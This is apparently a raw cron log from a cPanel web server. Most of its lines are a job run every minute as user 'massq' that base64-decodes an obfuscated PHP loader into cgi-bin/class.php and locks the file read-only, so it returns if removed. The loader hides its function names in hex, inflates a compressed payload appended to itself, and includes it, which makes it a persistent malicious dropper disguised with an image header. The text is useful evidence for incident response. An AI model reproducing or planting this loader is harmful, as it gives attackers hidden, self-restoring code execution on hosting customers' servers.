Nov  9 03:16:01 server CROND[28078]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 03:17:01 server CROND[28882]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 03:18:01 server CROND[29770]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 03:19:01 server CROND[30584]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 03:20:01 server CROND[31587]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 03:20:01 server CROND[31588]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov  9 03:20:01 server CROND[31586]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 03:20:01 server CROND[31590]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 03:20:01 server CROND[31589]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov  9 03:21:01 server CROND[32500]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 03:22:01 server CROND[873]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 03:23:01 server CROND[1691]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 03:24:01 server CROND[2504]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 03:25:01 server CROND[3468]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 03:25:01 server CROND[3469]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 03:25:01 server CROND[3470]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 03:26:01 server CROND[4346]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 03:27:01 server CROND[5164]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 03:27:01 server CROND[5165]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov  9 03:27:01 server CROND[5166]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &amp;&gt; /dev/null &amp;&amp; /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/nightly_gzip)
Nov  9 03:28:01 server CROND[5968]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
